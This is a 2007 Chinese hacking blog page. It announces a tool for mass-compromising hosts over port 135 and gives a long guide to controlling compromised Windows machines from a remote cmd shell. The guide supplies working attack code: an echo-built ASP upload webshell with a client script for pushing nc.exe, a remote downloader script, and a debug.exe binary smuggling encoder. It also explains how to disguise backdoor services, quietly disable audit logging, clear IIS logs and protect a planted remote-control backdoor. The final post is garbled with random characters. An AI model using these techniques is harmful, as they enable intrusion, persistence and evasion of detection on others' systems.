24 2007

自动135工具,再次修改,现发布Beta2版

Posted by Yangybcy in 资料

程序是在一次次的调试中逐步得到完善的..我相信这句话了..

这次改进了两个地方,一个地方是针对XP用户的,

因为XP默认是没有安装.net framework的,而程序运行是需要它必须安装的.

否则不能正常抓鸡,所以程序运行之前会先检测是否安装了此组件.

如果没有安装此组件会从打开微软官方的下载地址下载此组件提示用户安装.

另一个地方是针对之前提出的找不到Allip.txt这个错误,已经修正了.

ps:使用过程中如果发现什么BUG,欢迎到我的博客提交,我会第一时间修正.

下载文件 点击下载

收藏与分享
20 2007

推荐:Cmd模式下的入侵技术大全

Posted by Yangybcy in 资料

前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。
本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。

文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:

1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:

@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp

注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:

with wscript
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .statustext
end with

将其保存为up.vbs。假设目标IP为123.45.67.89,up.asp在IIS虚拟根目录下,需要上传的文件为nc.exe,上传后保存为mm.exe,相应的命令是:

cscript up.vbs http://123.45.67.89/up.asp   nc.exe mm.exe

注意,这个命令是在本地命令行中执行的,不要弄错了。另外,通过IIS上传会留日志,要记得清除哦。

2,自动下载到网页缓存中。
例如:start its:http://www.sometips.com/soft/ps.exe

在远程shell中执行上面这个命令后,ps.exe已经下载到目标主机的网页缓存目录中了。然后:

cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps[1].exe

于是获得ps.exe的具体位置(每台主机都不一样),如:

C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目录

2004-01-24 14:24 49,152 ps[1].exe
1 个文件 49,152 字节

最后:
copy AB094JIT\ps[1].exe c:\path\ps.exe
del AB094JIT\ps[1].exe

补充说明:
对于以服务为启动方式的后门所提供的shell,其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System,需要修改Default User为相应的用户名。
本方法会启动一个IE进程,记得要将它杀掉。如果是System身份的shell,不会在本地出现窗口而暴露。
另外,用ms-its代替its效果完全一样。

3,Echo一个脚本下载web资源。
现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。
仍然是echo版:

@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs

举例–下载ps.exe并保存到c:\path下:

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe

注意,这是在远程shell中执行的。

4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出"杀手锏"了!

echo命令加重定向操作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新"编码"为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位操作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果–编码脚本:

fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with

将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:

cscript echo.vbs nc.exe

也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:

@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs

全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。
如果网速不是很慢的话,整个上传过程大约需要20秒。

几点说明:
1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2,在传输大文件前,可以先传个小的文件作为"热身",让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。
3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。
4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。

能上传文件当然一切都好办了,但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。

系统配置
这节包括三方面内容:注册表、服务和组策略。

先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。
好在系统自带的regedit.exe足够用了。

1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:

C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d

C:\>del 1.reg

所以终端服务的端口是3389(十六进制d3d)

2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:

echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg

将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。

要删除一个项,在名字前面加减号,比如:

[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]

要删除一个值,在等号后面用减号,比如:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KAVRun"=-

3,用inf文件访问注册表
上面对注册表的三个操作,也可以用下面这个inf文件来实现:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0×00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0×00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun

将它写入c:\path\reg.inf然后用下面这个命令"安装":

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf

几点说明:
1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0×00010001表示REG_DWORD数据类型,0×00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0×00020000表示REG_EXPAND_SZ。
2323也可以用0×913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。
128表示给定路径,该参数其他取值及含义参见MSDN。
特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。

接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,原因后面会提到。还是得靠inf文件出马。

增加一个服务:

[Version]
Si
gnature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0×10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe

保存为inetsvr.inf,然后:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf

这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。

几点说明:
1,最后四项分别是
服务类型:0×10为独立进程服务,0×20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。

删除一个服务:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr

很简单,不是吗?

当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题–不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。

另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。

最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。

先看secedit命令语法:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。

与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:

假设我要将密码长度最小值设置为6,并启用"密码必须符合复杂性要求",那么先写这么一个模板:

[version]
signature="$CHICAGO$"
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1

保存为gp.inf,然后导入:

secedit /configure /db gp.sdb /cfg gp.inf /quiet

这个命令执行完成后,将在当前目录产生一个gp.sdb,它是"中间产品",你可以删除它。
/quiet参数表示"安静模式",不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如:

secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*

另外,在导入模板前,还可以先分析语法是否正确:
secedit /validate gp.inf

那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%\security\templates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。

再举个例子–关闭所有的"审核策略"。(它所审核的事件将记录在事件查看器的"安全性"里)。
echo版:

echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*

也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如"审核策略"就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有"管理模板"这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。

比如,XP和2003的"本地策略"-》"安全选项"增加了一个"本地帐户的共享和安全模式"策略。XP下默认的设置是"仅来宾"。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为"经典":

echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg

而相应的用inf,应该是:

echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*

关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%\security\database\secedit.sdb,将它导出至inf文件:

secedit /export /cfg gp.inf /log 1.log

没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。

不过,这样得到的只是组策略的一部分(即"Windows设置")。而且,某个策略如果未配置,是不会被导出的。比如"重命名系统管理员帐户",只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。

此办法在XP和2003下无效–可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是"空"。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。
网络配置
Windows自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……
这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。

netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。

netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。

1,TCP/IP配置

echo interface ip >s
echo show config >>s
netsh -f s
del s

由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。
这个命令和ipconfig /all差不多。

注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后
net start remoteaccess

2,ARP

echo interface ip >s
echo show ipnet >>s
netsh -f s
del s

这个比arp -a命令多一点信息。

3,TCP/UDP连接

echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s

这组命令和netstat -an一样。

4,网卡信息
如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。

echo interface ip >s
echo show interface >>s
netsh -f s
del s

netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就"叫天不应叫地不灵"了),所以全部略过。

IPSec
首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。

XP系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。

IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。

关于ipsecpol和ipseccmd的资料,网上可以找到很多,因此本文就不细说了,只是列举一些实用的例子。
在设置IPSec策略方面,ipseccmd命令的语法和ipsecpol几乎完全一样,所以只以ipsecpol为例:

1,防御rpc-dcom攻击

ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x

这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下:
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f …… 建立7个筛选器。*表示任何地址(源);0表示本机地址(目标);+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选操作是"阻塞"。注意,BLOCK必须是大写。
-w reg 将配置写入注册表,重启后仍有效。
-x 立刻激活该策略。

2,防止被ping

ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x

如果名为myfirewall的策略已存在,则antiping规则将添加至其中。
注意,该规则同时也阻止了该主机ping别人。

3,对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出,应该限制对其服务端口6129的访问。

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x

这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP,应该根据IP分配的范围设置规则。比如:

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x

这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。

在写规则的时候,应该特别小心,不要把自己也阻塞了。如果你不确定某个规则

的效果是否和预想的一样,可以先用计划任务"留下后路"。例如:

c:\>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。

c:\>time /t
12:34

c:\>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业,其作业 ID = 1

然后,你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。
如果测试结果不理想,就删除该策略。

c:\>ipsecpol -p myfw -o -w reg

注意,删除策略前必须先确保它已停止。不停止它的话,即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间,默认是180分钟。

如果测试通过,那么就启用它。

c:\>ipsecpol -p myfw -x -w reg

最后说一下查看IPSec策略的办法。
对于XP很简单,一条命令搞定–ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。(已经上传了三个文件,也就不在乎多一个了。^_^)

netdiag需要RemoteRegistry服务的支持。所以先启动该服务:

net start remoteregistry

不启动RemoteRegistry就会得到一个错误:

[FATAL] Failed to get system information of this machine.

netdiag这个工具功能十分强大,与网络有关的信息都可以获取!不过,输出的信息有时过于详细,超过命令行控制台cmd.exe的输出缓存,而不是每个远程cmd shell都可以用more命令来分页的。

查看ipsec策略的命令是:
netdiag /debug /test:ipsec

然后是一长串输出信息。IPSec策略位于最后。

软件安装
一个软件/工具的安装过程,一般来说只是做两件事:拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容,那么就可以自己在命令行下实现了。(不考虑安装后需要注册激活等情况)

WinPcap是个很常用的工具,但必须在窗口界面下安装。在网上也可以找到不用GUI的版本(但还是有版权页),其实我们完全可以自己做一个。

以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。
除去反安装的部分,关键的文件有三个:wpcap.dll,packet.dll和npf.sys。前面两个文件位于system32目录下,第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。

作为系统服务,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是,并不需要手动添加它,winpcap被调用时会自动搞定。甚至完全不用手动修改注册表,所有的事winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。

作为范例,还是演示一下如何修改注册表:利用前面说过的inf文件来实现。

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0×1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys

将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0

然后用winrar将所有文件(5个)打包为自解压的exe,并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。

注意,批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。

所有的软件安装,基本上可以套用这个思路。但也有例外的,那就是系统补丁的安装。
由于系统补丁有可能要替换正在被执行或访问的文件,所以用copy命令是不行的。
幸好,Windows补丁包支持命令行安装。
比如:

KB824146.exe -n -z -q

-n 不保留备份
-z 不重起
-q 安静模式

如果有一堆补丁要打,那么用RAR打包成自解压文件,外加一个批处理。

for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0

Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。

1,显示系统版本

@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

2,列举进程

@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

3,终止进程

@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs

要终止PID为123的进程,使用如下语法:
cscript pk.vbs 123

如果显示一个0,表示终止成功。

然后:
del pk.vbs

4,重启系统

@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs

5,列举自启动的服务

@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" – "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

6,列举正在运行的服务

@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" – "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

7,显示系统最后一次启动的时间

@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs

显示结果的格式是:
yyyymmddHHMMSSxxxxxxZZZZ
_年_月日时分秒_微秒_时区

8,显示系统运行时间

@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs

这个运行时间是从性能计数器中获得的64位整型数,不会出现在49.7天后溢出的情况。

收藏与分享
20 2007

命令行下导入、导出注册表

Posted by Yangybcy in 资料

导出:regedit /e c:\test.reg HKEY_LOCAL_MACHINE\SAM\SAM ’KYz AQK$YkR# h5 cZ(+E/0  
安静模式导入:regedit /s c:\test.reg /TOJYWNH!*\;kpX\&A9′u’^  
jRzW09l_VGeRL66@?}Skned51  
详细情况下: DyF[OD!O3~p  +)b6Q$]|~s[!  
cmd下修改注册表完全攻略 t2HB 7F2Ch@IWqO Gt{(  
=AR*"y#Ql(!(y'if@m I}  
regedit虽是gui下使用的东东 但其实是有未公开的参数的 可以在cmd下使用 L'kv/c. oFaM~Cb)59R-  
W'XTl1Gp]nPvM:k(Z}LTcEP`h  
regedit的运行参数 =gyFW\~ *h)w)O9;OM^:9d?{  
; s$DlTYv7HG< Ta*z,E  
REGEDIT [/L:system] [/R:user] filename1 oE L<_/V>H;y=yU)qJ=<glJd  
REGEDIT [/L:system] [/R:user] /C filename2 l Fto^*\?%67M/|;B,}x48%bx  
REGEDIT [/L:system] [/R:user] /E filename3 [regpath] I; C; kn%N zj{j+1N"(A1>|!Nb  
